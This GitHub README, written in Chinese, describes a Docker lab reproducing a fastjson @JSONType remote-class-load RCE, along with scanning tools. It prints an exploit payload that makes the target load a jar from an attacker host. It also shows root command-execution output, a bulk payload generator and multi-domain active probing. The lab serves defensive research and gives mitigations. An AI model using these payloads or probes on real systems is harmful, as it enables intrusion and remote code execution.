dinosn/fastjson-jsontype-rce-lab
GitHub: dinosn/fastjson-jsontype-rce-lab
针对 fastjson `@JSONType` RCE 漏洞的 Docker 复现实验环境与配套防御性扫描工具集。
Stars: 3 | Forks: 1
# fastjson `@JSONType` remote-class-load RCE — 实验、漏洞利用与扫描器
一个独立的 Docker 实验环境,用于复现 fastjson 1.2.66–1.2.83 的 **`@JSONType`
remote-class-load RCE** 漏洞,并附带用于检查您自身环境的防御性扫描器。
## ⚠️ 仅限授权使用
本仓库仅用于**教育、防御性研究**,以及对您拥有或获得明确授权测试的系统
进行测试。实验靶机绑定至 `127.0.0.1`,且 payload 的默认行为是将无害的 `id` 命令结果写入文件。
请勿将此漏洞利用工具或主动扫描器指向非您所有的系统。您需对自己
的使用方式负责。
## 扫描您自己的环境
[`scanner/`](scanner/) 目录提供了三个**无依赖的 Python 3** 工具(无需执行 pip
安装)。两款扫描器均支持**多线程**,并可从文件中读取目标/域名列表。
- **`fjscan_static.py`** — 提取 jar/war/ear 文件清单,查找包含易受攻击组合
(fastjson 1.2.66–83 × Spring Boot fat-jar 加载器)的目标。对 CI 校验友好(检测到 `EXPOSED` 时以退出码 2 终止)。
- **`fjscan_probe.py`** — 主动且**安全**的可达性检查:向您控制的 Canary 节点
(内置监听器**或** Burp Collaborator / interactsh)发送 `@type` 探测,并关联
SSRF 回调。不提供任何恶意服务 → 仅触发 SSRF,绝不触发 RCE。
- **`fjpayload.py`** — 生成可直接使用的 payload(单个或批量),适用于 Burp Repeater / curl。
```
# 构建 inventory artifacts / 解包镜像 (并行)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 跨多个域名进行并发 active probe,回调至你的 Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator --targets - # stdin
# 用于手动测试的批量 payloads(每个域名一个,稳定的 correlation token)
python3 scanner/fjpayload.py --targets-file domains.txt
```
`domains.txt` = 每行一个目标 — 可以是完整的 `[METHOD ]URL` **或纯域名**
(通过 `--scheme` / `--target-port` / `--path` 进行扩展);允许使用 `# ` 添加注释:
```
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
```
### 选项
**`fjscan_probe.py`**(主动探测)
| Flag | Default | Purpose |
|---|---|---|
| `--canary-ip ` | — | 内置监听器模式;目标所见到的本机 IP |
| `--collaborator ` | — | 外部 OOB (IPv4 / int / dot-free host / Collaborator subdomain) |
| `--targets ` | — | 目标列表;`-` 表示从标准输入读取 (**必填**) |
| `--threads N` | `20` | 并发请求工作线程数 |
| `--scheme` / `--target-port` / `--path` | `http` / — / `/parse` | 纯域名的扩展方式 |
| `--method` | `POST` | 默认 HTTP 方法 |
| `--wrap '{"u":{{P}}}'` | `{{P}}` | 将探测对象嵌套在指定的字段中 |
| `--listen-port` / `--port` | `19000` / `80` | 内置 Canary 端口 / Collaborator 端口 |
| `--wait` / `--timeout` | `10` / `8` | 等待回调的秒数 / 单次请求的超时时间 |
**`fjscan_static.py`** (清单提取): `` · `--threads N` (默认 `8`) · `--json`
(机器可读输出;若检测到任何 `EXPOSED` 状态,退出码为 `2`)。
**`fjpayload.py`** (生成器): `` · `--targets-file/-f ` (批量) ·
`--port` · `--token` · `--wrap` · `--entry`。
## 实验环境
**环境要求:** Docker + Docker Compose,并且在首次
构建时需要能够访问公网的 Maven Central(以拉取 fastjson / spring-boot-loader / asm)。
```
make up # build + start attacker and target (JDK 8, fastjson 1.2.83)
make exploit # fire ONE payload and prove code execution in the target
make down # tear down
```
预期的 `make exploit` 输出:
```
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
```
`ClassCastException` 是一个信号,表明绑定机制并不能作为缓解措施:攻击者类
会在 `@type` 探测期间执行其 ``,这发生在 fastjson 尝试将其强制转换为 `Dto` 类型 *之前*。
### 尝试更多变体
- **仅 SSRF 降级:** 将 `target/Dockerfile` 的基础镜像修改为 `eclipse-temurin:17-jdk`
并重新运行 — 攻击者日志依然会显示抓取记录(触发 SSRF),但不会生成 `/tmp/PWNED` 文件(因为 JDK 9+ 阻止了利用恶意名称执行 `defineClass`)。
- **证明其不依赖 autoType:** 目标应用从未调用 `setAutoTypeSupport(true)` — 检查
`http://127.0.0.1:8080/` 处的 Banner 信息即可确认。
- **自定义命令:** `PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker`。
## 仓库结构
| 路径 | 说明 |
|---|---|
| `scanner/` | 您可以在自有服务器架构上运行的**防御性**检测工具 |
| `target/` | 存在漏洞的应用 — 在 Spring Boot `LaunchedURLClassLoader` 环境下执行 `JSON.parseObject(body, Dto.class)` |
| `attacker/` | 构造 `@JSONType` 类 (`Gen.java`) 并将其作为远程 jar 包提供服务 |
| `exploit/` | `exploit.sh` — 单一 payload 的 PoC 及验证脚本 |
| `docs/MECHANISM.md` | 带注释的源码深度剖析 |
## 缓解措施
`-Dfastjson.parser.safeMode=true` · 限制 runtime 的对外访问 · 升级至 JDK 9+ (将 RCE 降级为 SSRF) · 迁移至
fastjson2 / 在不受信任的请求路径上彻底弃用 fastjson 1.x · 针对包含 `jar:` / `!` /
`..` / 整数形式 IP 字面量的 `@type` 字段设置告警。
## 致谢与参考
- **最初披露:** Kirill Firsov (**@k_firsov**, FearsOff) — 公开声明在
fastjson 1.2.83 中发现无需 gadget 链的 RCE 漏洞(2026 年 7 月)。
- **公开概念验证及 `@JSONType` / jar-URL-internal-name 技术:**
**@wouijvziqy** — 。
本实验环境中的 `attacker/Gen.java` 重新实现了该项技术。
- fastjson — (另请参阅 `safeMode` 机制,以及
CVE-2022-25845 背后的 autoType 漏洞历史)。
本实验环境及 `scanner/` 工具包将上述研究发现封装为了一个可复现的测试平台与
防御性检测工具。本项目与上述研究人员无任何隶属关系,也未获得其背书。
标签:CISA项目, Docker安全靶场, Fastjson, GHAS, Java安全, JS文件枚举, Python, 加密, 反序列化, 无后门, 漏洞扫描器, 版权保护, 请求拦截